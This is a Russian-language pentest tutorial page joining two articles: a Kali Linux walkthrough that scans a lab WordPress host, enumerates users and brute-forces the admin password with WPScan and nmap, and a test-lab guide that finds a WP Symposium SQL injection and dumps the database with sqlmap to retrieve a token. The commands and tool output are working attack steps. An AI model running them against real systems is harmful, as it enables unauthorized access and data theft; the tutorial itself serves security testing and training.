- Найти и не обезвредить: пишем пентесты с Kali Linux
- Поиск открытых портов
- Поиск информации о пользователях
- Подбор пароля с атакой по словарю
- Поиск Heartbleed-уязвимости
- Советы по предотвращению и защите от взлома
- Полезные материалы (на английском языке)
- Kali Linux для начинающих
- Получаем токен, используя SQLi
Найти и не обезвредить: пишем пентесты с Kali Linux
Шило в мешке не утаить: по неведению (правда, в некоторых случаях — умышленно) даже крупные корпорации оставляют дыры в своей системе безопасности. Жизненно важно как можно быстрее (1) локализовать их и (2) пофиксить. К счастью, существует множество различных продуктов, которые помогают с первым пунктом. Среди них можно выделить Kali, дистрибутив Linux, разработанный для тестирования систем безопасности. В этой статье я расскажу, как использовать Kali Linux для исследования вашей системы и поиска слабых мест, имитируя атаку злоумышленника.
Дистрибутив Kali включает множество инструментов, каждый из которых имеет открытый исходный код. Достаточно запустить установку дистрибутива и все эти инструменты будут доступны из коробки.
В качестве подопытных я буду использовать две системы:
- kali.usersys.redhat.com: 30 Гб памяти и 6 виртуальных CPU. Эта система будет выполнять сканирование «жертвы» и запускать атаки.
Поиск открытых портов
Я начал с базового сканирования системы 2. Сканируя систему с помощью Nmap, можно узнать, какие порты и службы видны из системы 1, запускающей сканирование.
Итак, первым делом можно найти несколько «интересных» открытых портов — потенциальных слабых мест. На самом деле, любой открытый порт интересен, потому что с его помощью больше шансов взломать сеть. В этом примере 21, 22, 80 и 443 — это ещё и порты часто используемых служб. Но пока я просто занимаюсь разведкой и пытаюсь получить как можно больше информации о системе, которую хочу взломать.
После этого для более глубокого анализа я выбраю порт 80 и запускаю команду Nmap с аргументами -p 80 и -A. Это позволяет получить информацию об операционной системе и приложении, которое использует 80-й порт.
Здесь нас интересуют следующие строки:
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux)) |_http-generator: WordPress 5.6.1
Поиск информации о пользователях
Поскольку теперь я знаю, что это сервер WordPress, я могу использовать WPScan для получения информации о потенциальных уязвимостях. Хорошо бы найти несколько имён пользователей и их пароли. Чтобы найти их в данном в экземпляре WordPress, используем опции —enumerate u:
└─# wpscan —url vulnerable.usersys.redhat.com —enumerate u
WordPress Security Scanner by the WPScan Team
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
| Found By: Author Posts — Display Name (Passive Detection)
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
| Found By: Author Posts — Display Name (Passive Detection)
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Отлично, найдены два пользователя: admin и pgervase. Я попытаюсь подобрать пароль для пользователя admin, используя словари паролей — текстовый файл с набором возможных вариантов. Я возьму словари из 3 231 и из 3 543 076 137 строк.
Подбор пароля с атакой по словарю
Для атаки по словарю можно использовать разные инструменты. Вот два примера команд с Nmap и WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com # wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
Эти два инструмента, конечно же, могут гораздо больше, но и для подбора паролей тоже годятся.
А вот эта команда WPScan, например, выводит пароль в конце файла:
┌──(rootkali)-[~] └─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.10 Sponsored by Automattic — https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242] [+] Started: Thu Feb 18 20:32:13 2021 Interesting Finding(s): ….. [+] Performing password attack on Wp Login against 1 user/s Trying admin / redhat Time: 00:01:57 (3231 / 3231) 100.00% Time: 00:01:57 Trying admin / redhat Time: 00:01:57 (3231 / 6462) 50.00% ETA: . [SUCCESS] — admin / redhat [!] Valid Combinations Found: | Username: admin, Password: redhat
Раздел Valid Combinations Found в конце содержит имя пользователя admin и его пароль. На перебор 3 231 строк ушло всего две минуты.
У меня есть ещё один файл словаря с 3 238 659 984 уникальными записями, что займет гораздо больше времени.
Nmap выдаёт результат намного быстрее:
┌──(rootkali)-[~] └─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242) Host is up (0.00015s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) 80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux)) |_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux) | http-wordpress-brute: | Accounts: | admin:redhat — Valid credentials
Правда, такое сканирование можно отследить по HTTPD-логам, которые будут обнаружены во взломанной системе:
10.19.47.170 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)»
Поиск Heartbleed-уязвимости
Чтобы получить информацию о HTTPS-сервере и SSL/TLS протоколах, я использую команду sslscan:
┌──(rootkali)-[~] └─# sslscan vulnerable.usersys.redhat.com Version: 2.0.6-static OpenSSL 1.1.1i-dev xx XXX xxxx Connected to 10.19.47.242 Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com SSL/TLS Protocols: SSLv2 disabled SSLv3 disabled TLSv1.0 disabled TLSv1.1 disabled TLSv1.2 enabled TLSv1.3 enabled
Мы видим, что в версиях протоколов, которые используются на сервере, Heartbleed-уязвимость не обнаружена:
Heartbleed: TLSv1.3 not vulnerable to heartbleed TLSv1.2 not vulnerable to heartbleed
Ну что ж, значит через модуль Heartbeat я не могу получить доступ к оперативной памяти и данным сервера. Что ж… видно не судьба 🙂
Советы по предотвращению и защите от взлома
Можно написать много статей про то, как противостоять атакам хакеров всех мастей. Тут я ограничусь общими рекомендациями:
- Изучайте свою систему: какие порты открыты, какие порты должны быть открыты, кто должен иметь возможность видеть эти порты и какой объём трафика должен проходить через них. Nmap вам в помощь.
Полезные материалы (на английском языке)
То, что описано в этой статье, — лишь вершина айсберга. Чтобы погрузиться глубже, вы можете изучить следующие ресурсы:
Облачные серверы от Маклауд быстрые и безопасные.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
Kali Linux для начинающих
14 декабря будет запущена новая «Test lab» — лаборатория тестирования на проникновение, имитирующая работу реальной корпоративной сети, в которой каждый желающий сможет проверить свои навыки тестирования на проникновение. Поскольку порог вхождения для выполнения всех заданий лаборатории достаточно высокий, мы решили выпустить небольшой гайд для начинающих по работе с Kali Linux 2018.4 — одним из самых популярных пентест-дистрибутивов, разработанного как преемник BackTrack и основного на Debian.
Причина популярности простая – довольно дружелюбный интерфейс и наличие необходимых инструментов для пентеста “из коробки”. Инструменты распределены по категориям, что очень удобно. Имеются варианты установки на АРМ, например, Raspberry Pi 3, а также на мобильные платформы под управлением Android. Я сейчас говорю про Kali NetHunter – тот же Kali, который практически без изменений устанавливается поверх Android и работающий внутри chroot-окружения.
Получаем токен, используя SQLi
По легенде у нас есть некий хост test.lab. Наша задача — определить уязвимости и выполнить их эксплуатацию.
Начнем с разведки — выполним сканирование портов: nmap -v test.lab
Сканирование в режиме по умолчанию результатов не дало, произведем сканирование всех портов: nmap -v -p 1-65535 192.168.60.13
Отлично, видим открытый 9447 порт и попробуем идентифицировать сервисы:
nmap -v -sV -p 9447 192.168.60.13
-sV – ключ для определения версий сервисов
-p – указание конкретного порта или диапазона портов
На порту 9447 доступно веб-приложение:
Используя инструмент nikto, определим, что вероятнее всего используется CMS WordPress:
nikto -host test.lab:9447
Проверим приложение, используя WPScan: wpscan --url http://test.lab:9447
Сканирование не показало, применяются ли какие-то уязвимые плагины. Попробуем добавить ключ для поиска плагинов --plugins-detection с параметром aggressive.
wpscan --url http://test.lab:9447 --plugins-detection aggressive
Нам удалось обнаружить плагин WP Symposium 15.5.1.Для данной версии имеется уязвимость SQL Injection, и также в выводе представлены ссылки на базы с описанием уязвимости, где мы и будем искать информацию.
Мы нашли способ эксплуатировать уязвимость на www.exploit-db.com/exploits/37824
Теперь нужно проверить ее, подставив этот параметр к нашему url.
Используя Burp Suite, посмотрим, какие запросы приходят при обращении к этому адресу:
Скопируем этот GET запрос в файл и передадим его в sqlmap с параметром -r, добавив ключ уязвимого параметра -p “size” и --dbs для нахождения баз данных.
sqlmap -r qwe -p “size” --dbs
В итоге мы получили несколько баз. Проверим содержимое базы wordpress_test и найденных таблиц:
sqlmap -r qwe -D wordpress_test --table
sqlmap -r qwe -D wordpress_test -T wp_posts --dump
В таблице wp_post в одной из скрытых записей нам удалось найти токен Y@u-wIn. .
Kali Linux является очень мощным дистрибутивом для пентеста. Мы рассмотрели пару простых из ~600 доступных инструментов, которые найдут свое применение у любого — от начинающего до профессионала.
Соблюдайте законодательство и до встречи в Test lab v.12.